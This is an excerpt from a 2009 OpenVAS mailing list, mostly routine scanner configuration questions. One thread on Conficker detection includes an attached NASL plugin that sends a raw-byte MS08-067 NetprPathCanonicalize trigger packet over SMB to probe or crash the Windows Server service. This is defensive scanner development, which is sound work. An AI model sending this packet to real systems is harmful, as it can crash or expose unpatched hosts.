from no to yes but then those > > > > > wouldn't be new plugins, would they! Thanks - John > > > > > > > > > > On Fri, 2009-03-20 at 09:27 +0530, Chandrashekhar B wrote: > > > > > > Hello John, > > > > > > > > > > > > I think, adding "auto_enable_new_plugins = yes" should do the job > > > > > > in the rc file. > > > > > > > > > > > > Chandra. > > > > > > > > > > > > -----Original Message----- > > > > > > From: openvas-discuss-bounces at wald.intevation.org > > > > > > [mailto:openvas-discuss-bounces at wald.intevation.org] On Behalf Of > > > > > > John A. Sullivan III > > > > > > Sent: Friday, March 20, 2009 1:36 AM > > > > > > To: openvas-discuss at wald.intevation.org > > > > > > Subject: [Openvas-discuss] updaterc script? > > > > > > > > > > > > Hello, all. We are delighted that, after tracking down a pile of > > > > > > dependencies, our CentOS 5.2 based automated vulnerability > > > > > > scanning server is running on OpenVAS. However, it is automated > > > > > > and runs scans from cron jobs calling OpenVAS-Client in batch > > > > > > mode. Thus, updating the rc files with the latest plugins is a > > > > > > problem. > > > > > > > > > > > > Is there an OpenVAS equivalent of the various update-nessusrc > > > > > > scripts we used to use under Nessus? Thanks - John -- Felix Wolfsteller | ++49-541-335 08 3451 | http://www.intevation.de/ PGP Key: 39DE0100 Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From jsullivan at opensourcedevel.com Fri Mar 20 16:15:16 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Fri, 20 Mar 2009 11:15:16 -0400 Subject: [Openvas-discuss] pid file location Message-ID: <1237562116.6572.44.camel@jaspav.missionsit.net.missionsit.net> Hello, all. Perhaps I'm brain cramping in my rush but I did not see anywhere within openvasd.conf or anywhere else for that matter where we can set the location of the pid file. For example, we installed to /usr/local and the pid file is thus being created in /usr/local/var/run. We are running a RedHat based system (CentOS 5.2). Doesn't it need to be in /var/run in order for RedHat to gracefully stop the process during shutdown? Is this even important or is it not an issue if the server halts without gracefully shutting down openvasd? If it is an issue, how does one change the pid file location? Thanks - John -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From jsullivan at opensourcedevel.com Fri Mar 20 19:06:35 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Fri, 20 Mar 2009 14:06:35 -0400 Subject: [Openvas-discuss] pid file location In-Reply-To: <1237562116.6572.44.camel@jaspav.missionsit.net.missionsit.net> References: <1237562116.6572.44.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <1237572395.6572.53.camel@jaspav.missionsit.net.missionsit.net> On Fri, 2009-03-20 at 11:15 -0400, John A. Sullivan III wrote: > Hello, all. Perhaps I'm brain cramping in my rush but I did not see > anywhere within openvasd.conf or anywhere else for that matter where we > can set the location of the pid file. For example, we installed > to /usr/local and the pid file is thus being created > in /usr/local/var/run. > > We are running a RedHat based system (CentOS 5.2). Doesn't it need to > be in /var/run in order for RedHat to gracefully stop the process during > shutdown? Is this even important or is it not an issue if the server > halts without gracefully shutting down openvasd? If it is an issue, how > does one change the pid file location? Thanks - John Oops! I'm sorry - it's /var/lock/subsys - John -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From jan-oliver.wagner at intevation.de Sun Mar 22 20:47:36 2009 From: jan-oliver.wagner at intevation.de (Jan-Oliver Wagner) Date: Sun, 22 Mar 2009 20:47:36 +0100 Subject: [Openvas-discuss] pid file location In-Reply-To: <1237562116.6572.44.camel@jaspav.missionsit.net.missionsit.net> References: <1237562116.6572.44.camel@jaspav.missionsit.net.missionsit.net> Message-ID: <200903222047.36555.jan-oliver.wagner@intevation.de> On Friday 20 March 2009 16:15:16 John A. Sullivan III wrote: > Hello, all. ?Perhaps I'm brain cramping in my rush but I did not see > anywhere within openvasd.conf or anywhere else for that matter where we > can set the location of the pid file. ?For example, we installed > to /usr/local and the pid file is thus being created > in /usr/local/var/run. Isn't the handling usually done by the start-stop daemon? Best Jan -- Dr. Jan-Oliver Wagner | ++49-541-335 08 30 | http://www.intevation.de/ Intevation GmbH, Neuer Graben 17, 49074 Osnabr?ck | AG Osnabr?ck, HR B 18998 Gesch?ftsf?hrer: Frank Koormann, Bernhard Reiter, Dr. Jan-Oliver Wagner From jsullivan at opensourcedevel.com Sun Mar 22 21:21:58 2009 From: jsullivan at opensourcedevel.com (John A. Sullivan III) Date: Sun, 22 Mar 2009 16:21:58 -0400 Subject: [Openvas-discuss] pid file location In-Reply-To: <200903222047.36555.jan-oliver.wagner@intevation.de> References: <1237562116.6572.44.camel@jaspav.missionsit.net.missionsit.net> <200903222047.36555.jan-oliver.wagner@intevation.de> Message-ID: <1237753318.6444.14.camel@jaspav.missionsit.net.missionsit.net> On Sun, 2009-03-22 at 20:47 +0100, Jan-Oliver Wagner wrote: > On Friday 20 March 2009 16:15:16 John A. Sullivan III wrote: > > Hello, all. Perhaps I'm brain cramping in my rush but I did not see > > anywhere within openvasd.conf or anywhere else for that matter where we > > can set the location of the pid file. For example, we installed > > to /usr/local and the pid file is thus being created > > in /usr/local/var/run. > > Isn't the handling usually done by the start-stop daemon? > > Best > > Jan > Yes, it is. That's why I was surprised to see that running openvasd puts a pid file in /usr/local/var/run. I was wondering where it was coming from since it was launched without an init script - John -- John A. Sullivan III Open Source Development Corporation +1 207-985-7880 jsullivan at opensourcedevel.com http://www.spiritualoutreach.com Making Christianity intelligible to secular society From bchandra at secpod.com Tue Mar 31 14:06:42 2009 From: bchandra at secpod.com (Chandrashekhar B) Date: Tue, 31 Mar 2009 17:36:42 +0530 Subject: [Openvas-discuss] Conficker worm detection - OpenVAS plugins Message-ID: Conficker worm variants A, B and C are dependent on vulnerability in Microsoft server service. Microsoft had released an advisory MS08-067 back in October 2008 to address the above vulnerability. As was expected at that time, number of attacks are spreading, major one being Conficker worm. We have plugins for OpenVAS, 900055 - secpod_ms08-067_900055.nasl 900056 - secpod_ms08-067_900056.nasl to detect patch condition of MS08-067. The plugin 900055 requires SMB credentials and verifies if the required hotfix is installed through Windows Registry and verifying the updated file versions. The plugin 900056 is a Proof of Concept exploit that tries to crash the server service (safe_checks has to be disabled). This can work on anonymous login credentials if the target system allows anonymous login (Windows 2000 by default allows anonymous login). The plugin checks the RPC response status of an un-patched system. Thanks, Chandra. From marc.rennhard at zhaw.ch Tue Mar 31 15:56:14 2009 From: marc.rennhard at zhaw.ch (Marc Rennhard) Date: Tue, 31 Mar 2009 15:56:14 +0200 Subject: [Openvas-discuss] Setting Plugin Timeout not working? Message-ID: <49D220FE.5070400@zhaw.ch> Dear all I tried to set the Nikto plugin timeout to 30 minutes by specifying 3000 via the "Set Plugin Timout" button in the Nikto plugin details. However, this had no effect as the Nikto scan still timed out after 320 seconds (default value specified in openvasd.conf) as can be seen in openvasd.messages. I then changed the timeout setting in openvasd.conf from 320 to 3000 and restarted openvasd, but interestingly, Nikto still timed out after 320 seconds. What am I doing wrong? Thanks, Marc From timb at nth-dimension.org.uk Tue Mar 31 22:46:18 2009 From: timb at nth-dimension.org.uk (Tim Brown) Date: Tue, 31 Mar 2009 21:46:18 +0100 Subject: [Openvas-discuss] [Openvas-plugins] Conficker worm detection - OpenVAS plugins In-Reply-To: References: Message-ID: <200903312146.19680.timb@nth-dimension.org.uk> On Tuesday 31 March 2009 13:06:42 Chandrashekhar B wrote: *snip* > to detect patch condition of MS08-067. The plugin 900055 requires SMB > credentials and verifies if the required hotfix is installed through > Windows Registry and verifying the updated file versions. The plugin 900056 > is a Proof of Concept exploit that tries to crash the server service > (safe_checks has to be disabled). This can work on anonymous login > credentials if the target system allows anonymous login (Windows 2000 by > default allows anonymous login). The plugin checks the RPC response status > of an un-patched system. This is all true but it doesn't really go far enough since it only looks for the original vulnerability and not Conficker. I started working on a check for Conficker last night and got someway before I noticed a glaring problem but nothing which at this stage is complete. I've attached the plugin in rough form here if anyone wants to take it up. The problems I've had so far is the lack of support for non-clear text authentication in the OpenVAS SMB implementation which is limiting my ability to test here, as I only have 2003/Vista systems to play with. I've diverted to start working on that and will be sending another email shortly to openvas-devel regarding this. Cheers, Tim -- Tim Brown -------------- next part -------------- ############################################################################# # Based on the work of Tim Brown as published # here, http://www.nth-dimension.org.uk/blog.php?id=72 along with the # associated NASL from SecPod ############################################################################ if(description) { script_id(900056); script_dependencies("secpod_reg_enum.nasl"); exit(0); } include("smb_nt.inc"); if(safe_checks()){ exit(0); } name = kb_smb_name(); login = kb_smb_login(); pass = kb_smb_password(); domain = kb_smb_domain(); port = kb_smb_transport(); soc = open_sock_tcp(port); if(!soc){ exit(0); } if(!domain) domain = ""; if(!login) login = ""; if(!pass) pass = ""; r = smb_session_request(soc:soc, remote:name); if(!r) { close(soc); exit(0); } prot = smb_neg_prot(soc:soc); if(!prot){ close(soc); exit(0); } r = smb_session_setup(soc:soc, login:login, password:pass, domain:domain, prot:prot); if(!r) { close(soc); report = string("MS08-067: Failed to perform Clear Text based authentication."); security_note(data:report, port:port); exit(0); } uid = session_extract_uid(reply:r); if(!uid) { close(soc); exit(0); } r = smb_tconx(soc:soc, uid:uid, share:"IPC$", name:name); if(!r) { close(soc); exit(0); } tid = tconx_extract_tid(reply:r); if(!tid) { close(soc); exit(0); } tid_high = tid / 256; tid_low = tid % 256; uid_high = uid / 256; uid_low = uid % 256; # \srvsvc Request req = raw_string(0xff, 0x53, 0x4d, 0x42, 0xa2, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, 0xa2, 0x4d, uid_low, uid_high, 0x0b, 0x00, 0x18, 0xff, 0x00, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9f, 0x01, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x5c, 0x00, 0x73, 0x00, 0x72, 0x00, 0x76, 0x00, 0x73, 0x00, 0x76, 0x00, 0x63, 0x00, 0x00, 0x00); req = raw_string(0x00, 0x00, 0x00, (strlen(req)%256)) + req; send(socket:soc, data:req); resp = smb_recv(socket:soc, length:4096); if(strlen(resp) < 107) { close(soc); exit(0); } fid_low = ord(resp[42]); fid_high = ord(resp[43]); # srvsvc Bind Request req = raw_string(0xff, 0x53, 0x4d, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, 0xa2, 0x4d, uid_low, uid_high, 0x0c, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00, 0x48, 0x00, 0x52, 0x00, 0x02, 0x00, 0x26, 0x00, fid_low, fid_high, 0x57, 0x00, 0x00, 0x5c, 0x00, 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x05, 0x00, 0x0b, 0x03, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0xb8, 0x10, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0xc8, 0x4f, 0x32, 0x4b, 0x70, 0x16, 0xd3, 0x01, 0x12, 0x78, 0x5a, 0x47, 0xbf, 0x6e, 0xe1, 0x88, 0x03, 0x00, 0x00, 0x00, 0x04, 0x5d, 0x88, 0x8a, 0xeb, 0x1c, 0xc9, 0x11, 0x9f, 0xe8, 0x08, 0x00, 0x2b, 0x10, 0x48, 0x60, 0x02, 0x00, 0x00, 0x00); req = raw_string(0x00, 0x00, 0x00, (strlen(req)%256)) + req; send(socket:soc, data:req); smb_recv(socket:soc, length:4096); # ntrPathCanonicalize Request (With Malicious Code) req = raw_string( 0xff, 0x53, 0x4d, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x08, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high, 0x0d, 0x00, 0x10, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0x00, 0x7c, 0x00, 0x52, 0x00, 0x02, 0x00, 0x26, 0x00, fid_low, fid_high, 0x83, 0x04, 0x00, 0x5c, 0x00, 0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x7c, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x31, 0x00, 0x39, 0x00, 0x32, 0x00, 0x2E, 0x00, 0x31, 0x00, 0x36, 0x00, 0x38, 0x00, 0x2e, 0x00, 0x31, 0x00, 0x35, 0x00, 0x33, 0x00, 0x2e, 0x00, 0x31, 0x00, 0x32, 0x00, 0x39, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x5c, 0x00, 0x2e, 0x00, 0x2e, 0x00, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x27, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00); req = raw_string(0x00, 0x00, 0x00, 0xce) + req; send(socket:soc, data:req); resp = smb_recv(socket:soc, length:1024); fwrite(file:"/tmp/bah", data:resp); close(soc); exit(0); From timb at nth-dimension.org.uk Tue Mar 31 23:42:03 2009 From: timb at nth-dimension.org.uk (Tim Brown) Date: Tue, 31 Mar 2009 22:42:03 +0100 Subject: [Openvas-discuss] Setting Plugin Timeout not working? In-Reply-To: <49D220FE.5070400@zhaw.ch> References: <49D220FE.5070400@zhaw.ch> Message-ID: <200903312242.04367.timb@nth-dimension.org.uk> Marc, How long does nikto run for, if you run it manually with the same options. It may be my misunderstanding but the timeouts that are set on the plugin are only for the plugin itself. In the case of the nikto plugin it launches nikto as a separate process. The timeout has no control over the lifetime of the nikto process itself (except *maybe* if nikto was to overrun the plugin timeout?). I'm not totally familiar with the plugin scheduling though, so I expect someone else to provide a better answer ;). Cheers, Tim -- Tim Brown